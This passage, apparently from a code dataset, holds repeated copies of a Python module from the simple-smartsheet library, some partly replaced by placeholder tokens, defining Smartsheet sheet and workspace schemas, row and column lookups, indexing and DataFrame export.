self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass WorkspaceSchema(Schema):\n <assignment token>\n <assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found 